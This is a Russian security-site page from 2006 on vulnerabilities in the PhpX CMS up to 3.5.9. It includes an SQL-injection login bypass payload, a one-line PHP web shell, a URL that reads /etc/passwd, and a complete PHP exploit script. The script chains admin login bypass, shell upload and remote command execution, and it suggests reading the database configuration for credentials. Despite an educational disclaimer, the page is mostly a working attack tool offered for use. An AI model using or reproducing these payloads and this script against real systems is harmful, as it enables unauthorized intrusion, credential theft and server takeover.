СОДЕРЖАНИЕ:
  ДОМОЙ
  НОВОСТИ  
  IT АКАДЕМИЯ
  WAP-ВЕРСИЯ
  ФОРУМ
  БЕЗОПАСНОСТЬ
  ПРОГРАММИРОВАНИЕ
  ИНСТРУМЕНТ ВЕБМАСТЕРА
  ВСЁ ДЛЯ КПК
  СТАТЬИ NEW
  СОФТ
  ВИДЕО
  X-INFO
  ПРОКСИ ЛИСТ
  IT МУЗЫКА
  АНЕКДОТЫ
  ССЫЛКИ
  ТЕХ. ПОДДЕРЖКА
  ПРАВООБЛАДАТЕЛЯМ
  О НАС
ВАШ IP АДРЕС:
3.136.23.132
Человек на сайте На сайте: 321 человек(а)
Ђдминистрация никак не связан с авторами и содержимым ссылок
Рђеклама




Cервер : irc.comp-info.ru Порт : 6667 Канал : #comp-info


..:: Компьютерная безопасность ::..


Внимание !!! Attention !!!


Вся информация хранящаяся на сайте предоставлена исключительно в образовательных и познавательных целях. Мы рассчитываем на правильное ее использование, т. е. для повышения уровня защищенности компьютерных систем. Уважаемые посетители, мы надеемся на Вашу рассудительность. Администрация Comp-Info.ru снимает с себя ответственность за незаконное применение данных материалов. Мы хотим лишь ликвидировать необразованность администраторского состава, а так же помочь начинающим администраторам.

Множественные уязвимости в PhpX <= 3.5.9+эксплоит

2 февраля 2006 | ASSCOL | Security

Описание:

Уязвимость обнаружена в файле auth.inc.php в строчках 22-26, и вызвана как
всегда не достаточной фильтрацией. Видимо это бич всех PHP приложений еще долго
будет приностить хакерам немалый доход с сайтов на PHP.



Переменная «username» недостаточно фильтруется, и если опция

magic_quotes_gpc установлена в off, вы сможете обойти авторизацию в 
административной панели:

Перейдите по ссылке:

http://[target]/[path]/admin/

и в форме для авторизации введите:

username: 'or user_id=2/*

password: [nothing]

и вы получаете доступ к административному аккаунту. После этого возможно
загрузить на сервер файл: cmd.php.menu с кодом:

<?php system($_GET[cmd]); ?>

Файл переименуется, (к примеру станет называться:11333717941--cmd.php.menu), но
вы сможете узнать его имя.

Теперь вы можете исполнять команды:

http://[target]/[path]/files/11333717941--cmd.php.menu?cmd=cat%20/etc/passwd

Эксплоит:


<?php

# 19.17 28/09/2005 18.15 30/11/2005 #

# #

# -- PhpX_359_xpl.php #

# #

# PhpX <=3.5.9 SQL injection->login bypass->remote commands xctn exploit #

# by rgod #

# site: http://rgod.altervista.org #

# #

# usage: launch this script from Apache, fill requested fields, then go… #

# #

# Sun-Tzu: «The onrush of a conquering force is like the bursting of pent-up #

# waters into a chasm a thousand fathoms deep» #

error_reporting(0);

ini_set(«max_execution_time»,0);

ini_set(«default_socket_timeout», 2);

ob_implicit_flush (1);

echo'<html><head><title>PhpX <=3.5.9 SQL injection/remote commands xctn exploit

</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:

#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img

{background-color: #FFFFFF !important} input {background-color: #303030

!important} option { background-color: #303030 !important} textarea

{background-color: #303030 !important} input {color: #1CB081 !important} option

{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox

{background-color: #303030 !important} select {font-weight: normal; color:

#1CB081; background-color: #303030;} body {font-size: 8pt !important;

background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:

0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em

!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em

!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em

!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:

normal !important} *{text-decoration: none !important} a:link,a:active,a:visited

{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;

color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;

font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;

font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">

PhpX <=3.5.9 SQL injection/remote commands xctn exploit </p><p class="Stile6">a

script by rgod at <a href="http://rgod.altervista.org"target="_blank">

http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form

name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input

type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)

</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:

/phpx/ or just / ) </span></p><p><input type="text" name="command"> <span

class="Stile5"> * specify a command «cat ./../admin/includes/config.inc.php» to

see database username & password (against Win: «type …adminincludesconfig.

inc.php»)</span> </p><p> <input type="text" name="port"> <span class="Stile5">

specify a port other than 80 ( default value ) </span></p> <p> <input

type="text" name="proxy"><span class="Stile5"> send exploit through an HTTP

proxy (ip:port)</span></p><p><input type="submit" name="Submit" value="go!"></p>

</form> </td></tr></table></body></html>';

function show($headeri)

{

$ii=0;

$ji=0;

$ki=0;

$ci=0;

echo '<table border="0"><tr>';

while ($ii <= strlen($headeri)-1)

{

$datai=dechex(ord($headeri[$ii]));

if ($ji==16) {

$ji=0;

$ci++;

echo «<td>&nbsp;&nbsp;</td>»;

for ($li=0; $li<=15; $li++)

{ echo «<td>».$headeri[$li+$ki]."</td>";

}

$ki=$ki+16;

echo «</tr><tr>»;

}

if (strlen($datai)==1) {echo «<td>0».$datai."</td>";} else

{echo «<td>».$datai."</td> «;}

$ii++;

$ji++;

}

for ($li=1; $li<=(16 — (strlen($headeri) % 16)+1); $li++)

{ echo „<td>&nbsp&nbsp</td>“;

}

for ($li=$ci*16; $li<=strlen($headeri); $li++)

{ echo „<td>“.$headeri[$li].»</td>";

}

echo «</tr></table>»;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load

//next function to send packets

{

global $proxy, $host, $port, $packet, $html, $proxy_regex;

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if ($socket < 0) {

echo "socket_create() failed: reason: " . socket_strerror($socket) . «<br>»;

}

else

{ $c = preg_match($proxy_regex,$proxy);

if (!$c) {echo 'Not a valid prozy…';

die;

}

echo «OK.<br>»;

echo «Attempting to connect to „.$host.“ on port „.$port.“…<br>»;

if ($proxy=='')

{

$result = socket_connect($socket, $host, $port);

}

else

{

$parts =explode(':',$proxy);

echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy…<br>';

$result = socket_connect($socket, $parts[0],$parts[1]);

}

if ($result < 0) {

echo "socket_connect() failed.rnReason: («.$result.») « . 
socket_strerror($result) . „<br><br>“;

}

else

{

echo „OK.<br><br>“;

$html= '';

socket_write($socket, $packet, strlen($packet));

echo „Reading response:<br>“;

while ($out= socket_read($socket, 2048)) {$html.=$out;}

echo nl2br(htmlentities($html));

echo „Closing socket…“;

socket_close($socket);

}

}

}

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='')

{$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) { echo 'No response from '.htmlentities($host);

die; }

}

else

{

$c = preg_match($proxy_regex,$proxy);

if (!$c) {echo 'Not a valid prozy…';

die;

}

$parts=explode(':',$proxy);

echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy…<br>';

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) { echo 'No response from proxy…';

die;

}

}

fputs($ock,$packet);

if ($proxy=='')

{

$html='';

while (!feof($ock))

{

$html.=fgets($ock);

}

}

else

{

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))

{

$html.=fread($ock,1);

}

}

fclose($ock);

echo nl2br(htmlentities($html));

}

$host=$_POST[host];$path=$_POST[path];

$port=$_POST[port];$command=$_POST[command];

$proxy=$_POST[proxy];

if (($host<>'') and ($path<>'') and ($command<>''))

{

$port=intval(trim($port));

if ($port=='') {$port=80;}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error… check the
path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$host=str_replace(„rn“,»",$host);

$path=str_replace(«rn»,"",$path);

$SQL="'or user_id=2/*";

$SQL=urlencode($SQL);

#STEP 1 -> Login Bypass…

$data="username=".$SQL."&password=&login=yes";

$packet="POST «.$p.»admin/index.php HTTP/1.1rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

application/x-shockwave-flash, */*rn";

$packet.="Referer: http://".$host.":".$port.$path."admin/login.php?code=irn";

$packet.="Accept-Language: enrn";

$packet.="Content-Type: application/x-www-form-urlencodedrn";

$packet.="Accept-Encoding: text/plainrn";

$packet.="User-Agent: Googlebot/2.1 rn";

$packet.="Host: «.$host.»rn";

$packet.="Content-Length: «.strlen($data).»rn";

$packet.="Connection: Closern";

$packet.="Cache-Control: no-cachernrn";

$packet.=$data;

show($packet);

sendpacketii($packet);

if (eregi(«Location: index.php»,$html)) {echo «Exploit succeeded…<br>»;}

else {die(«Exploit failed…»);}

$temp=explode(«Set-Cookie: „,$html);

$temp2=explode(' ',$temp[1]);

$COOKIE=$temp2[0];

echo '<br>Your cookie: '.htmlentities($COOKIE);

#STEP 2 -> Shell upload…

$data='-----------------------------7d5baf306c0

Content-Disposition: form-data; name=“confirm»

1

-----------------------------7d5baf306c0

Content-Disposition: form-data; name="file1"; filename="C:suntzu.php.menu"

Content-Type: text/plain

<?php error_reporting(0);ini_set(«max_execution_time»,0);system($_GET[cmd]);?>

-----------------------------7d5baf306c0

Content-Disposition: form-data; name="file2"; filename=""

Content-Type: application/octet-stream

-----------------------------7d5baf306c0

Content-Disposition: form-data; name="file3"; filename=""

Content-Type: application/octet-stream

-----------------------------7d5baf306c0

Content-Disposition: form-data; name="file4"; filename=""

Content-Type: application/octet-stream

-----------------------------7d5baf306c0

Content-Disposition: form-data; name="file5"; filename=""

Content-Type: application/octet-stream

-----------------------------7d5baf306c0

Content-Disposition: form-data; name="more"

0

-----------------------------7d5baf306c0--';

$packet="POST «.$p.»admin/images.php?action=create HTTP/1.1rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

application/x-shockwave-flash, */*rn";

$packet.="Referer:
http://".$host.":".$port.$path."admin/images.php?action=creatern";

$packet.="Accept-Language: enrn";

$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d5baf306c0rn";

$packet.="Accept-Encoding: text/plainrn";

$packet.="User-Agent: IncyWincy data gathererrn";

$packet.="Host: «.$host.»rn";

$packet.="Content-Length: «.strlen($data).»rn";

$packet.="Connection: Closern";

$packet.="Cache-Control: no-cachern";

$packet.="Cookie: «.$COOKIE.»rnrn";

$packet.=$data;

show($packet);

sendpacketii($packet);

#STEP 3 -> Retrieve filename from file list…

$packet="GET «.$p.»admin/images.php HTTP/1.1rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

application/x-shockwave-flash, */*rn";

$packet.="Referer:
http://".$host.":".$port.$path."admin/images.php?action=creatern";

$packet.="Accept-Language: enrn";

$packet.="Accept-Encoding: text/plainrn";

$packet.="User-Agent: Jakarta Commons-HttpClient/3.0-rcxrn";

$packet.="Host: «.$host.»rn";

$packet.="Connection: Closern";

$packet.="Cache-Control: no-cachern";

$packet.="Cookie: «.$COOKIE.»rnrn";

show($packet);

sendpacketii($packet);

$temp=explode('suntzu.php.menu',$html);

$i=count($temp)-1;

$temp2=explode(«/files/»,$temp[$i-1]);

$i=count($temp2)-1;

$FILENAME=$temp2[$i].'suntzu.php.menu';

echo '<br>File has been renamed as: '.htmlentities($FILENAME);

#STEP 4 -> Launch commands…

$packet="GET «.$p.»files/".$FILENAME."?cmd=".urlencode($command)."
HTTP/1.1rn";

$packet.="Host: «.$host.»rn";

$packet.="User-Agent: Googlebot-Image/1.0
(+http://www.googlebot.com/bot.html)rn";

$packet.="Connection: Closernrn";

show($packet);

sendpacketii($packet);

}

else

{echo «Fill * required fields, optionally specify a proxy…»;}

?>


**** ASSCOL ****

По всем вопросам и предложениям пишите на admin@comp-info.ru

/USR/MENU:
 ./HOME
 ./HOME/NEWS  
 ./HOME/IT_ACADEMY
 ./WAP
 ./FORUM
 ./SECURITY
 ./PROGRAMMING
 ./SOFT/4WEBMASTERS
 ./ALL4POCKETS
 ./USR/ARTICLESNEW
 ./TEMP/SOFT
 ./USR/ALL_VIDEO
 ./HOME/X-INFO
 ./TEMP/PROXYLIST
 ./IT_MUSIC
 ./JOKES
 ./HOME/LINKS
 ./USR/SUPPORT
 ./USR/POSSESSOR
 ./ABOUT_US
УТИЛИТЫ:

  Сниффер
  Лог сниффера
  MD5 и Base64
  Декодирование MD5 NEW
 Перекодировщик
  Проверить прокси
  Проверка анонимности
  Генерация пароля
  Скрипт определения IP
  Поиск информации
   Проверить IP (Whois)
   Узнать скорость закачки
   Добавить свой сайт в поисковые системы>
   Подсветка php-кода

ПОЛЕЗНАЯ ИНФОРМАЦИЯ:
  Список национальных доменных имен
  Компьютерные термины
  Смайлики
   Аналоги Win-программ в Linux
   Коды ответа HTTP сервера
   Записки невесты программиста

Опрос




Права на содержащиеся на сайте материалы принадлежат авторам.

Copyright Комп-Инфо.ру © 2005